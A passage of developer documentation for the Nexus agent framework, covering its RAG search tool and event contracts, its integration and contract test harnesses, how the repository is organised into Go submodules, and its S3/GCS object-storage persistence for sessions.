|---|---|---|---|
query | string | yes | The semantic query. Phrase as you’d phrase a search. |
namespaces | array of string | no | Subset of allowed namespaces. Defaults to default_namespaces. |
k | int | no | Max results. Defaults to plugin’s top_k, capped at 50. |
Output is a JSON document; the LLM is expected to read it and quote source paths. Example:
{
"query": "what is the plugin lifecycle?",
"results": [
{
"rank": 1,
"namespace": "project-docs",
"similarity": 0.84,
"source": "docs/architecture/plugin-system.md",
"chunk_idx": "2",
"content": "Each plugin goes through three lifecycle phases...",
"metadata": { "source": "docs/architecture/plugin-system.md", "chunk_idx": "2", "chunk_size": "768" }
}
]
}
Bus contract
Five event types make the whole stack work. Knowing the shape is enough to write your own adapter.
// pkg/events/embeddings.go — primitive
type EmbeddingsRequest struct {
Texts []string
Model string
Dimensions int
Vectors [][]float32
Provider string
Usage EmbeddingsUsage
Error string
}
// pkg/events/vector.go — primitive
type VectorUpsert struct { Namespace string; Docs []VectorDoc; Provider string; Error string }
type VectorQuery struct { Namespace string; Vector []float32; K int; Filter map[string]string;
Matches []VectorMatch; Provider string; Error string }
type VectorDelete struct { Namespace string; IDs []string; Provider string; Error string }
type VectorNamespaceDrop struct { Namespace string; Provider string; Error string }
// pkg/events/rag.go — ingest
type RAGIngest struct { Path string; Namespace string; Metadata map[string]string;
Provider string; Chunks int; SkippedCached int; Error string }
type RAGIngestDelete struct { Path string; Namespace string;
Provider string; Deleted int; Error string }
// pkg/events/memory_vector.go — explicit store
type VectorMemoryStore struct { Content string; Source string; Metadata map[string]string;
Provider string; Error string }
Every payload is emitted as a pointer so providers fill results in place before Emit returns. This is the same sync pointer-fill pattern used by search.provider, tool.catalog.query, and memory.history.query.
Adapter handlers must:
- Ignore the event if
payload.Provider != ""(someone else already answered). - Set
payload.Provider = pluginIDwhether the call succeeded or failed. - Set either
payload.Erroror the result fields, not both.
Bulk-ingest CLI reference
nexus ingest --namespace=NAME [flags] PATH [PATH...]
| Flag | Default | Description |
|---|---|---|
--namespace | (required) | Target namespace in the vector store. |
--glob | (empty) | Filename glob — matched against the path-relative-to-root and the basename. |
--concurrency | 4 | Max files ingested in parallel. |
--chunk-size | 1000 | Chunker target size (chars). |
--chunk-overlap | 200 | Chunker overlap (chars). |
--vector-path | ~/.nexus/vectors | Vector store directory. |
--cache-path | ~/.nexus/vectors/_cache | Embedding cache directory. |
--model | text-embedding-3-small | Embedding model. |
The subcommand boots a minimal engine with only nexus.embeddings.openai, nexus.vectorstore.chromem, and nexus.rag.ingest active — no agent, no LLM, no IO. Useful for offline pre-loading before an agent starts.
Gate interaction
The retrieve tool emits through the normal vetoable before:tool.result hook, so existing gates apply unchanged:
| Gate | Effect on RAG |
|---|---|
nexus.gate.content_safety | PII/secret redaction or blocking on retrieved chunk content. |
nexus.gate.output_length | Truncates oversized search outputs with an LLM retry. |
nexus.gate.tool_filter | Allow-/block-list knowledge_search per profile. |
nexus.gate.prompt_injection | Runs on the LLM’s input, including anything pasted back from search results. |
Per-namespace access policy lives in nexus.tool.knowledge_search.namespaces, not a gate. Policy at the tool layer is cheaper and clearer than a custom gate.
Writing a new adapter
The pattern is identical for embedding providers and vector stores. Here’s a minimal embeddings.provider:
package myembed
import (
"github.com/frankbardon/nexus/pkg/engine"
"github.com/frankbardon/nexus/pkg/events"
)
const pluginID = "nexus.embeddings.myembed"
type Plugin struct{ /* ... */ }
func (p *Plugin) Capabilities() []engine.Capability {
return []engine.Capability{{Name: "embeddings.provider"}}
}
func (p *Plugin) Init(ctx engine.PluginContext) error {
p.bus = ctx.Bus
p.bus.Subscribe("embeddings.request", p.handle,
engine.WithPriority(50), engine.WithSource(pluginID))
return nil
}
func (p *Plugin) handle(e engine.Event[any]) {
req, ok := e.Payload.(*events.EmbeddingsRequest)
if !ok || req.Provider != "" {
return
}
vectors, err := p.callMyAPI(req.Texts, req.Model)
req.Provider = pluginID
if err != nil {
req.Error = err.Error()
return
}
req.Vectors = vectors
}
Register the factory in pkg/engine/allplugins/register.go and add a config block. Consumers (ingest, retrieve tool, vector memory) pick it up automatically via the capability system. No changes elsewhere.
A vector-store adapter follows the same shape but subscribes to all four vector.* events. See plugins/vectorstore/chromem/plugin.go for the reference implementation — about 240 lines including all four handlers.
Out of scope (for now)
These weren’t in the initial RAG pass and are tracked separately:
- Auto-retrieve gate on
before:llm.request(system injection without LLM tool call). Distinct UX questions around latency budget and provenance — theknowledge_searchtool path makes the retrieval visible to the LLM and the user, which is usually what you want. - Re-ranking (cross-encoder, LLM-based). Future
rag.rerankercapability. - Additional vector store backends (
sqlite-vec,pgvector, Qdrant). Thevector.storeevent surface is designed so they slot in without breaking changes. - Additional embedding providers (Anthropic Voyage, Ollama, local sentence-transformers).
Troubleshooting
-
no embeddings provider answered — check that a plugin advertising 'embeddings.provider' is activeActivatenexus.embeddings.openai(production) ornexus.embeddings.mock(testing). -
expected N vectors, got 0The provider returned an error. Look up at the previous log line for the underlying API failure (HTTP status, key issue, model name typo). -
ingest: read FILE: permission deniedThe plugin runs as the same user as the engine. Make sure files are readable and that watch-modepath:entries point at directories that don’t shift permissions. -
Cache hits never happen Cache lives at
~/.nexus/vectors/_cache/by default. Check thatcache_dir(if overridden) is writable and persistent. Also remember the cache is keyed on content hash, so even one trailing newline change invalidates an entry. -
Search returns empty matches when content was definitely ingested Check the namespace in your
knowledge_searchconfig matches the namespace you ingested into. Namespace mismatches don’t error — they just return zero results. -
Sliced docs site looks like noise after retrieval The default chunker is generic prose-tuned (1000/200). For code, mixed prose+code, or very short pages, try smaller chunks (
chunk-size: 600,chunk-overlap: 120). Per-content-type chunkers are a future enhancement.
Integration Testing
Nexus provides an integration test framework for automated validation of test configurations. Tests run real engines with real LLM calls, verifying end-to-end behavior.
Quick Start
# Run all integration tests
go test -tags integration ./tests/integration/ -v
# Run a specific test
go test -tags integration ./tests/integration/ -run TestMinimal -v
# With timeout (tests make real API calls)
go test -tags integration ./tests/integration/ -timeout 5m -v
Prerequisites: ANTHROPIC_API_KEY must be set in the environment.
Architecture
Three components work together:
nexus.io.test— IO plugin that replacesnexus.io.tuiin test configs. Feeds scripted inputs, collects all events, handles approvals.pkg/testharness— Go test helper that boots the engine, waits for completion, and provides assertion methods.- Semantic judge — Optional Haiku-based LLM judge for evaluating dynamic response content.
test config (YAML with nexus.io.test)
↓
Engine boots normally (real plugins, real LLM)
↓
Test IO plugin emits scripted io.input events
↓
Collects ALL bus events
↓
Go test assertions on collected events
↓
Optional: LLM-as-judge for semantic validation
Writing Tests
Basic Test
//go:build integration
package integration
import (
"testing"
"time"
"github.com/frankbardon/nexus/pkg/testharness"
)
func TestMyFeature(t *testing.T) {
h := testharness.New(t, "configs/test-my-feature.yaml",
testharness.WithTimeout(60*time.Second),
)
h.Run()
h.AssertEventEmitted("io.output")
h.AssertNoSystemOutput()
}
Test Config
Test configs use nexus.io.test instead of nexus.io.tui:
plugins:
active:
- nexus.io.test # replaces nexus.io.tui
- nexus.llm.anthropic
- nexus.agent.react
# ...
nexus.io.test:
inputs:
- "Hello, who are you?"
approval_mode: approve
timeout: 60s
Mock LLM Responses
Most gate and plugin tests don’t need a real LLM. Use mock_responses to inject synthetic responses — no API key, no cost, millisecond execution:
nexus.io.test:
inputs:
- "Include the word FORBIDDEN in your response."
mock_responses:
- content: "This should never be seen."
timeout: 15s
Gates fire before mock responses (priority 10 vs 20), so gate behavior is tested accurately. The mock just replaces the expensive LLM call.
Override Config Per Test
Use copyConfig to create a temp config with different inputs or settings:
func TestStopWords(t *testing.T) {
cfg := copyConfig(t, "configs/test-all-gates.yaml", map[string]any{
"nexus.io.test": map[string]any{
"inputs": []string{"Include FORBIDDEN_WORD in your response."},
"approval_mode": "approve",
"timeout": "30s",
},
})
h := testharness.New(t, cfg, testharness.WithTimeout(45*time.Second))
h.Run()
h.AssertSystemOutputContains("Content blocked")
}
Assertion Reference
Tier 1: Deterministic (free, fast, reliable)
| Method | What it checks |
|---|---|
AssertBooted(pluginIDs...) | Plugins were initialized |
AssertEventEmitted(type) | At least one event of this type |
AssertEventNotEmitted(type) | No events of this type |
AssertEventCount(type, min, max) | Event count within range |
AssertOutputContains(substring) | Assistant output contains text |
AssertOutputNotContains(substring) | Assistant output does not contain text |
AssertSystemOutputContains(substring) | System-role output (gate messages) contains text |
AssertNoSystemOutput() | No system-role outputs (no gate vetoes) |
AssertToolCalled(name) | Tool was invoked |
AssertToolNotCalled(name) | Tool was not invoked |
AssertSessionArtifact(relPath) | File exists in session directory |
Tier 2: Semantic (LLM judge, ~$0.001/assertion)
| Method | What it checks |
|---|---|
AssertOutputSemantic(criteria) | Haiku judges if output satisfies criteria |
Semantic assertions require ANTHROPIC_API_KEY. Tests are skipped (not failed) if no judge is configured.
h.AssertOutputSemantic("response recalls the user's earlier question about greetings")
Harness Options
| Option | Default | Purpose |
|---|---|---|
WithTimeout(duration) | 90s | Max time before harness gives up |
WithRetainSession() | off | Keep session dir on failure for debugging |
WithJudge(judge) | auto Haiku | Custom semantic judge implementation |
Raw Event Access
For assertions not covered by built-in methods:
for _, e := range h.Events() {
if e.Type == "llm.response" {
// inspect e.Payload
}
}
Build Tags
Integration tests use //go:build integration so they don’t run with go test ./.... They require API keys and make real LLM calls.
# Unit tests only (default)
go test ./...
# Integration tests only
go test -tags integration ./tests/integration/
# Both
go test -tags integration ./...
Testing UI Plugins (Future)
The test IO plugin validates the bus contract shared by all IO plugins (TUI, browser, wails). When integration tests pass, the bus-side behavior is validated.
Transport-specific rendering requires separate test suites per plugin:
| Plugin | Transport | Test Approach |
|---|---|---|
| TUI | BubbleTea | teatest package (headless terminal simulation) |
| Browser | HTTP/WS | httptest + WebSocket client |
| Wails | Runtime bindings | Mock runtime.Runtime interface |
These validate that the transport correctly bridges bus events to/from the UI. The test IO plugin serves as a reference for the event flow, ordering, and payload shapes.
Future work: extract an IOContract interface from common subscription/emission patterns so any IO plugin can run a shared contract test suite.
Plugin Contract Tests
Every Nexus plugin declares two event-contract methods on the Plugin interface:
Subscriptions() []EventSubscription
Emissions() []string
These declarations are used by the lifecycle manager for ordering and by observability tooling for plugin manifests. Without tests, nothing prevents a plugin from emitting an event type it never declared, or from declaring a subscription it never wires up. The contract harness in pkg/testharness/contract/ makes those assertions cheap to write.
It’s a separate, lighter wrapper than the integration harness in pkg/testharness/. The contract harness boots one plugin in isolation against a real engine.Bus plus a minimal PluginContext — temp data dirs, default host sandbox, optional session workspace. No engine Boot, no other plugins, no full session.
This guide is for unit-level contract assertions. For end-to-end agent-loop tests with multiple plugins active, see Integration Testing instead.
When to use it
- Every new plugin should land with a
contract_test.go(orplugin_test.go) that asserts its declaredSubscriptions()andEmissions(). - Use it for tests that drive the plugin’s handlers via scripted bus events and assert which events come back out.
- Don’t use it for tests of internal helpers that don’t touch the bus — those live in regular
_test.gofiles.
Quick start
package mygate
import (
"testing"
"github.com/frankbardon/nexus/pkg/events"
"github.com/frankbardon/nexus/pkg/testharness/contract"
)
func TestContract(t *testing.T) {
h := contract.NewContract(t, New)
// 1. Static contract — declared sub/emit set.
h.AssertSubscribesTo("before:io.output")
if got := h.Plugin().Emissions(); len(got) != 1 || got[0] != "io.output" {
t.Errorf("Emissions() = %v, want [io.output]", got)
}
// 2. Behavioral contract — drive the handler and assert.
h.InjectVetoable("before:io.output", &events.AgentOutput{
Role: "assistant",
Content: "this output is too long for the configured limit",
})
h.AssertEmitted("io.output") // gate emits its system warning
h.AssertNoUndeclaredEmissions() // nothing outside the declared set
}
Cleanup is registered with t.Cleanup automatically. The harness drains the bus and calls Shutdown for you.
API
func NewContract(t *testing.T, factory engine.PluginFactory, opts ...ContractOption) *ContractHarness
Constructs the harness, calls Init and Ready on the plugin, registers cleanup. Fails the test on any error from those steps.
Options
| Option | Effect |
|---|---|
WithPluginConfig(map[string]any) | YAML-derived config map the plugin would normally receive. |
WithPluginID(string) | Override the plugin ID (use for instance-suffixed IDs like nexus.agent.subagent/researcher). Defaults to plugin.ID(). |
WithSession() | Boot with a real SessionWorkspace rooted in a temp dir. Enables plugins that touch ctx.Session, ctx.DataDir, or ScopeSession storage. Off by default to keep tests fast. |
WithLogger(*slog.Logger) | Override the default discard logger. |
Driving events
| Method | Purpose |
|---|---|
Inject(eventType, payload) | Emit a normal event on the harness bus. The harness tags it as OriginInject so it’s filtered out of plugin-emission checks. |
InjectVetoable(eventType, payload) VetoResult | Emit a before:* event and return the resulting VetoResult. The vetoable wrapper protocol is handled for you. |
Assertions
| Method | Asserts |
|---|---|
AssertSubscribesTo(types ...string) | Plugin’s static Subscriptions() declaration includes every type. Doesn’t run the plugin — pair with Inject to verify the subscription actually fires. |
AssertEmitted(eventType) | At least one plugin-origin event of this type was captured. |
AssertNotEmitted(eventType) | No plugin-origin event of this type was captured. |
AssertEmittedInOrder(types ...string) | Types appeared in the captured stream in the given relative order. Other emissions between them are ignored. |
AssertNoUndeclaredEmissions() | Every plugin-origin event the harness saw is in the plugin’s declared Emissions() list. Use after Inject to catch contract drift. |
Captured() returns every event observed (including injects); PluginEmissions() filters down to plugin-origin only.
Patterns
Plugin that mutates a request payload (no emissions)
Many plugins (embeddings adapters, rerankers, metadata router) subscribe to a request event and mutate the payload pointer in place rather than emitting a result. Their Emissions() is empty by design.
func TestContract(t *testing.T) {
h := contract.NewContract(t, New)
h.AssertSubscribesTo("embeddings.request")
req := &events.EmbeddingsRequest{Texts: []string{"foo"}}
h.Inject("embeddings.request", req)
if req.Provider != "nexus.embeddings.mock" {
t.Errorf("provider not stamped: %q", req.Provider)
}
if got := h.Plugin().Emissions(); len(got) != 0 {
t.Errorf("expected empty Emissions(), got %v", got)
}
}
Plugin that needs a session workspace
Plugins that persist files (longterm memory, planners, fileio) require ctx.Session to be non-nil. Pass WithSession():
h := contract.NewContract(t, New,
contract.WithSession(),
contract.WithPluginConfig(map[string]any{
"scope": "global",
"auto_load": false,
}),
)
The session workspace is rooted in t.TempDir() and cleaned up automatically.
Plugin that needs an API key in config
Any plugin whose Init hard-rejects on missing credentials needs a stub key in test config:
h := contract.NewContract(t, New, contract.WithPluginConfig(map[string]any{
"api_key": "sk-mock-not-used",
}))
The harness never makes outbound HTTP calls during contract tests — the key just satisfies validation.
Plugin that fails Init for negative-path tests
NewContract calls t.Fatalf on Init errors. To assert that Init correctly rejects bad config, bypass the harness and call Init directly:
func TestContract_NoSteps_InitFails(t *testing.T) {
p := New().(*Plugin)
err := p.Init(engine.PluginContext{
Bus: engine.NewEventBus(),
Logger: slog.New(slog.NewTextHandler(io.Discard, nil)),
Config: map[string]any{}, // no required steps
})
if err == nil {
t.Error("expected Init to fail when no steps configured")
}
}
Contract harness vs integration harness
| Aspect | contract harness | testharness (integration) |
|---|---|---|
| Scope | One plugin in isolation | Full engine boot |
| Build tag | None — runs in normal go test | //go:build integration |
| Plugins active | Just the one under test | Whatever the YAML config lists |
| Session | Optional via WithSession() | Always present |
| Mock LLM | Not applicable (plugin owns its bus) | Configured via mock_responses in YAML |
| Use for | Subscriptions/Emissions assertions, request-payload mutations | Multi-plugin agent loops, full event chains |
Where it lives
The harness deliberately lives in pkg/testharness/contract/, not in pkg/testharness/ itself. The integration harness imports pkg/engine/allplugins (which imports every plugin); putting contract code in the same package would create a cycle whenever a plugin imports the harness:
plugin → pkg/testharness → pkg/engine/allplugins → plugin
Splitting into a sub-package breaks the cycle.
Reference
- Source:
pkg/testharness/contract/contract.go - Self-tests:
pkg/testharness/contract/contract_test.go - Examples: every
contract_test.goandplugin_test.gounderplugins/.
Repository Go Modules
Nexus is one Go module — github.com/frankbardon/nexus — plus a small number of
submodules under modules/, each with its own go.mod.
This page is the contract for that arrangement: where a submodule may live, how it resolves the core module, how the build and CI cover it, and how it is versioned. If you are writing an object-store backend, an exporter or anything else that needs a dependency Nexus core must not carry, start here.
Why submodules exist at all
The root module deliberately carries no vendor SDKs. Every LLM provider is raw
net/http, storage is pure-Go modernc.org/sqlite, and the direct dependency
count is a number the project defends.
A cloud object-store backend cannot honour that. The AWS and Google SDKs are
large, transitively deep, and pull in their own HTTP, auth and retry machinery.
Adding one to go.mod would impose it on every nexus build, including builds
that will never touch a bucket.
So the seam is designed to be implemented from outside:
pkg/engine/objectstore imports nothing beyond the standard library, and its
conformance suite pkg/engine/objectstore/objectstoretest is exported. A
backend lives in its own module with its own dependency graph, and an embedder
who wants it blank-imports it into their own main. The root module’s
dependency list does not move.
Layout
nexus/
go.mod # the root module: github.com/frankbardon/nexus
pkg/ plugins/ cmd/ ... # all of it root-module code, no exceptions
modules/
objectstore-s3/ # github.com/frankbardon/nexus/modules/objectstore-s3
go.mod
objectstore-gcs/ # github.com/frankbardon/nexus/modules/objectstore-gcs
go.mod
objectstore-seamcheck/ # github.com/frankbardon/nexus/modules/objectstore-seamcheck
go.mod
That is every submodule that ships today, and the list is short enough to be worth naming rather than gesturing at:
| Module | What it is | Dependency it carries |
|---|---|---|
objectstore-s3 | objectstore.Backend for Amazon S3 and every S3-compatible store. Registers as s3. See Object Storage. | AWS SDK for Go v2 |
objectstore-gcs | objectstore.Backend for Google Cloud Storage. Registers as gcs. See Object Storage. | cloud.google.com/go/storage |
objectstore-seamcheck | Not a backend and stores nothing. The permanent canary that keeps objectstore.Backend and objectstoretest.RunSuite usable from a module that is not the root one. | none |
make submodules prints the same list from the filesystem, and is the
authoritative answer if this table ever falls behind.
Rules:
- Every non-root
go.modlives atmodules/<name>/go.mod. One level, no nesting.make check-modules(run as part ofmake lint) fails the build if ago.modappears anywhere else. - Module path mirrors the directory:
modules/<name>becomesgithub.com/frankbardon/nexus/modules/<name>. This is not a style preference — Go derives a submodule’s version tag from its directory, so path and directory cannot diverge. - Names are flat and hyphenated, describing the seam then the implementation:
objectstore-s3,objectstore-gcs. Grouping them asmodules/objectstore/s3was rejected because it makesmodules/objectstorelook like a module it is not, and lengthens every version tag for no gain.
Placing a backend beside the interface it implements — pkg/engine/objectstore/s3/
— reads better and was rejected anyway. pkg/ means “root-module code” with no
exceptions worth remembering, and a nested go.mod under a directory everything
else sweeps is exactly the invisible-package trap described below.
Why there is no go.work
A workspace is the obvious way to make a multi-module repo build as one, and it
is deliberately not used here. go.work is in .gitignore.
A workspace merges every listed module into a single build list. The cloud
SDKs required by the backend modules would then take part in version selection
for the root module as well, and bin/nexus built by a contributor with a
workspace active could resolve different transitive versions than the binary CI
and the release build produce. Guaranteeing that the root module’s dependency
graph is exactly what its go.mod says is the entire reason the backends were
split out; a committed go.work would quietly give that back.
A workspace also does not buy what people assume. go test ./... does not
span workspace modules — ./... still stops at the current module — so a
go.work would not have removed the need for the Makefile to walk modules/.
Instead, each submodule carries a replace:
require github.com/frankbardon/nexus v0.18.2
replace github.com/frankbardon/nexus => ../..
The replace is scoped to that one module and affects nothing else in the tree.
Local development and CI therefore always build the submodule against the
working tree, which is what makes a submodule capable of failing when a change
to the seam breaks it. Anyone who depends on the submodule from outside this
repository ignores the replace — Go honours replace only in the main module —
and gets the required version, which is why that line must always name a real
published tag rather than a v0.0.0 placeholder.
go.work and go.work.sum are gitignored rather than merely absent, so a local
workspace for editor or debugging convenience is fine. Just never commit one.
Build, test and lint coverage
The failure mode this plumbing exists to prevent: a separate module is
invisible to every ./... pattern. go build ./..., go test ./...,
go vet ./... and staticcheck ./... all stop at a nested go.mod without a
word. A submodule that does not compile, or whose tests fail, reports as success
forever.
The Makefile therefore discovers submodules by glob and sweeps each one:
GO_SUBMODULES := $(patsubst %/go.mod,%,$(wildcard modules/*/go.mod))
| Target | Root module | Submodules |
|---|---|---|
make build | builds cmd/nexus + cmd/nexus-broker | go build ./... (compile check; submodules ship no binary) |
make test | go test ./... | go test ./... |
make test-objectstore-minio | — | modules/objectstore-s3 only, -tags minio |
make test-objectstore-fake-gcs | — | modules/objectstore-gcs only, -tags fakegcsserver |
make test-race | go test -race ./... | go test -race ./... |
make fmt | go fmt ./... | go fmt ./... |
make vet | go vet ./..., then again with -tags $(LINT_TAGS) | same, both passes |
make lint | vet + check-events + check-modules + staticcheck, untagged and -tags $(LINT_TAGS) | staticcheck, both passes |
make check-events | root only | — |
make check-modules | fails on a go.mod outside modules/<name>/ | — |
make submodules | prints the discovered list | — |
LINT_TAGS defaults to integration,evalrecord,minio,fakegcsserver — every build
tag in the tree that gates Go files. The second pass exists because a file behind
//go:build minio compiled only when someone ran that suite, so neither vet nor
staticcheck had ever seen it on any commit, CI included. One combined list is
applied everywhere rather than a per-module list: a tag matching no file in a
module is a no-op, so minio costs nothing in the GCS module.
It does not cover wasip1, which is a GOOS constraint rather than a build tag —
-tags will not reach plugins/tools/codeexec’s wasm files. make verify-yaegi-wasm is what exercises those.
Three deliberate exceptions:
-
The emulator targets are not sweeps. Each runs one submodule’s build-tagged suite against an emulator the target starts and stops itself:
test-objectstore-minioagainst MinIO viascripts/with-minio.sh, andtest-objectstore-fake-gcsagainst fake-gcs-server viascripts/with-fake-gcs.sh. Two targets rather than one shared “emulator” target, because MinIO emulates S3 and fake-gcs-server emulates GCS — folding them together would mean one red step for two unrelated stores, and neither suite could be run on its own while working on its own backend. Everything above stays untagged, which is what keepsmake testoffline and secret-free even though it sweepsmodules/.The two scripts are the same shape on purpose — a pinned emulator version, a readiness wait, a port nothing else can be holding, an EXIT trap, and a
NEXUS_TEST_*_REQUIREDvariable that turns the suite’s no-emulator skip into a failure so a provisioned run cannot pass by skipping — and differ in one place:with-minio.shruns a pinned container, whilewith-fake-gcs.shbuilds a pinned Go binary withgo install <module>@<version>, because fake-gcs-server is a Go module and MinIO is not. That means the GCS emulator suite needs no container runtime at all. Each script records the reasoning and the alternatives that were rejected.Both suites are also where the kill-and-resume cycle is proven against a real store, which is why both
modules/objectstore-s3/go.modandmodules/objectstore-gcs/go.modcarry indirect requirements —modernc.org/sqlite,gopkg.in/yaml.v3,klauspost/compress— that have nothing to do with either cloud. They come from the root module’spkg/engine, which those tests import so they can drive a real engine against a real bucket; no non-test file in either module imports anything abovepkg/engine/objectstore. The direction that matters is unchanged: the root module still does not require either one.The cycle itself is written once, in
pkg/engine/objectstore/enginetest, and each module supplies only the four store-specific hooks it needs — register a factory, make an empty bucket, list the bucket, read one object. It is exported from the root module for the reasonobjectstoretestis: a backend may live in a module this repository never sees, and passing the interface conformance suite does not prove a session resumes from it. It is a separate package fromobjectstoretestbecause it importspkg/engine, andpkg/engine’s own tests arepackage engineand importobjectstoretest— so the two halves have to sit in different packages or neither builds. -
check-eventsstays root-only.scripts/check-event-versions.shcds to the repository top level and inspectspkg/events/alone. Event structs live in the root module and nowhere else, so running it per submodule would repeat the identical check while looking like it were checking something else. -
go run honnef.co/go/tools/cmd/staticcheck@$(STATICCHECK_VERSION)resolves independently of the current module, so the same pinned staticcheck runs inside a submodule without that module having to require it.
CI needs no submodule-specific job for the sweeps: .github/workflows/ci.yml
runs make build, make test, make test-race, make vet and make lint, and
those cover modules/ already. A build-tagged emulator suite is the one thing
that does need a workflow edit, because no sweep runs it — the
objectstore-minio and objectstore-fake-gcs jobs exist for that, one per
emulator, and each runs the same make target a developer runs. That is the
design — one command per concern, shared verbatim between CI and a developer’s
terminal, so the two cannot drift into a state where CI skips something. Adding
a module under modules/ requires no workflow edit; adding an emulator suite
to it does.
Dependabot covers the submodules through a glob (directories: [/, /modules/*])
for the same reason.
Versioning and tagging
The core module is released as a bare tag, vX.Y.Z, with a matching GitHub
Release. Nothing about submodules changes that, because a bare vX.Y.Z tag
never versions a submodule — Go requires the tag to be prefixed with the
module’s directory.
The rules:
- Submodule tags are not cut by default. Cutting a core release does not cut
modules/*tags, and the release process does not have to know how many submodules exist. Inside the repository a submodule’s version is irrelevant anyway:makeand CI always build the working tree through thereplace. - A submodule tag is cut on demand, when someone needs to
go getthat module into a program built outside this repository. The tag format is fixed by Go:modules/<name>/vX.Y.Z, for examplemodules/objectstore-s3/v0.1.0. - Submodule versions are independent of the core version. They are not kept
in step with
vX.Y.Zand must not be assumed to match. A backend whose SDK needs a patch release should not have to wait for a core release, and a core release should not imply that every backend was re-tested. - When a submodule tag is cut, bump its
require github.com/frankbardon/nexusline to the newest core tag first, in the same commit. That line is what external consumers actually resolve, and a stale one gives them a core module older than the seam the backend was written against. Thereplacestays where it is — consumers ignore it. - Compatibility is expressed by that
requireline, not by a naming convention. “Which Nexus does this backend work with” is answered by readingmodules/<name>/go.mod, and by the fact that CI builds it against the current tree on every commit.
Adding a submodule
mkdir modules/<name>and writego.modwith module pathgithub.com/frankbardon/nexus/modules/<name>, arequireon the newest core tag, andreplace github.com/frankbardon/nexus => ../...- Write the code. Depend on whatever you need — that is the point.
make build && make test && make lint. The glob picks the module up with no Makefile, CI or Dependabot edit.- Prove the coverage is real: break something in the new module on purpose and
confirm
make buildandmake testgo red. If they stay green, the module is in the wrong place or the plumbing has regressed.
modules/objectstore-seamcheck is the worked example, and is also the permanent
canary for step 4: it is not a backend and stores nothing, it exists to hold true
the property that objectstore.Backend and objectstoretest.RunSuite are usable
from a module that is not github.com/frankbardon/nexus.
Object Storage
Nexus keeps everything it persists on local disk: session trees, per-plugin
SQLite, eval run output. core.object_store optionally makes a remote object
store the source of truth for that state between runs, so a session can be
killed on one host and resumed on another with no shared filesystem — the case
for containers, Cloud Run, Lambda and Kubernetes Jobs, where there is no disk
between invocations.
This page is the adoption path. It covers what the seam is, how to wire a backend into your own binary, credentials for each shipped backend, what happens when the store is unreachable, and — at the end, in full — the things it deliberately does not do.
Configuration Reference → core.object_store
is canonical for the keys, their defaults and their validation behaviour. This
page adds narrative; where the two disagree, the reference page wins.
Read this first: one writing host per session
The seam assumes a session has exactly one writing host at a time. Nothing enforces that.
There is no lock, no lease, no fencing token and no expiry the engine waits on.
If two processes hydrate the same session ID and both keep running, both
snapshot the whole tree at their own turn boundaries, and the loser’s
conversation history, journal and per-plugin store.db are overwritten at
whole-file granularity with no error anywhere. The consequence is silent state
loss, not a failed request.
An owner marker at sessions/<id>.owner/owner.json makes the situation
diagnosable. On Boot the engine writes its own host, PID, instance ID and a
heartbeat, and reads whatever was already there. A marker that still looks live
produces an error-level log line and a
session.owner.conflict event.
That is detection, not prevention. By the time the event is emitted the engine has already claimed the session and is running normally. Nothing is refused, nothing waits, and no subsequent write is blocked. A subscriber that wants to act — page an operator, stop the run — has to do so itself.
If your deployment can produce two live processes for one session ID — a
scheduler that presumed an instance dead while it was still running is the
routine case on ephemeral compute, not an exotic one — single-writer is yours
to arrange, upstream of Nexus. Subscribe to session.owner.conflict and treat
it as a page.
The same assumption applies to the app- and agent-scope plugin stores, with less help: those are shared across sessions by definition and have no owner marker at all. Two processes on one host share the local file and SQLite serialises them, so the later upload is a superset of the earlier and no data is lost. Two processes on different hosts each hold their own copy, and the later flush overwrites the other’s whole database. See Per-Plugin Storage → Concurrency.
What the seam is
pkg/engine/objectstore.Backend is a lifecycle interface, not an
abstraction over os.*:
Hydrate(ctx context.Context, keyPrefix, destDir string) error
Put(ctx context.Context, key, localPath string) error
Delete(ctx context.Context, key string) error
List(ctx context.Context, keyPrefix string) ([]Object, error)
Flush(ctx context.Context) error
Core and every plugin keep reading and writing ordinary local files. The engine calls the backend at defined lifecycle points and nowhere else, which is why “behaves exactly like local disk” is a guarantee rather than an aspiration, and why SQLite keeps running against a real file with a real WAL.
Nothing about this is exposed to plugins. There is no PluginContext method, no
interface for a plugin to implement, and no plugin in the tree knows an object
store exists.
| When | What happens |
|---|---|
Top of Boot | The backend named in config is opened once. A failure fails the boot. |
Top of Boot, before any plugin can open storage | App- and agent-scope plugin stores are hydrated. |
| Before a resumed workspace is opened | The whole session tree is hydrated under sessions/<id>, then pruned to exactly the object set the committed manifest names. |
| Once the workspace exists | The owner marker is claimed and a conflict is detected (see above). |
Every turn boundary (agent.turn.end) | The whole tree is snapshotted and made durable, a per-object manifest and then a commit marker are published, then the shared plugin stores are snapshotted. |
End of Stop | A final snapshot, the owner marker is removed, Flush, then the backend is released. |
Abandon | Workers stop, the handle is dropped. No snapshot, no Flush, marker left in place. |
Hydration is eager and whole-tree and completes before the first turn runs. There is no lazy or faulting read path — see limitation 5.
The snapshot is synchronous: it blocks the goroutine that ended the turn until the bytes are durable, because a turn reported complete while its state is still in flight is exactly the guarantee the snapshot exists to provide.
Four roots, one backend
The session tree is one of four roots. The same backend — no per-root methods, no per-root config — carries all four:
| Root | Local path | Object key |
|---|---|---|
| Session tree | <core.sessions.root>/<id>/ | sessions/<id>/… |
| App-scope plugin storage | <core.storage.root>/plugins/<pluginID>/store.db | plugins/<pluginID>/store.db |
| Agent-scope plugin storage | <core.storage.root>/agents/<agent_id>/plugins/<pluginID>/store.db | agents/<agent_id>/plugins/<pluginID>/store.db |
| Eval run output | <eval.reports_dir>/<run-id>/ | eval/<run-id>/… |
Keys mirror the on-disk layout, one key segment per directory, under
core.object_store.prefix. Nothing is encoded, hashed or flattened, so the
bucket is browsable and
<prefix>/sessions/<id>/plugins/nexus.scene/scene.jsonl is exactly the path it
came from. Both shipped backends produce byte-identical layouts, so a deployment
migrating between clouds can use the vendors’ own copy tools with no translation
step.
What never crosses the seam
session.lock— it records the PID of the process holding the session on one machine. A lock that travelled would make every rehydrated session look permanently locked.- SQLite sidecars (
store.db-wal,store.db-shm,store.db-journal) — they describe a machine, not a session. Eachstore.dbis WAL-checkpointed (wal_checkpoint(TRUNCATE)thenVACUUM INTO) and uploaded as a standalone file, so the restored database needs no sidecars beside it.
Wiring a backend into your binary
Two backends ship in-repo, each as its own Go module so the root module’s dependency list never grows:
| Module | Backend name | Covers |
|---|---|---|
github.com/frankbardon/nexus/modules/objectstore-s3 | s3 | Amazon S3, and every S3-compatible store: MinIO, Cloudflare R2, Ceph RGW, Backblaze B2 |
github.com/frankbardon/nexus/modules/objectstore-gcs | gcs | Google Cloud Storage, and the Cloud Storage emulators |
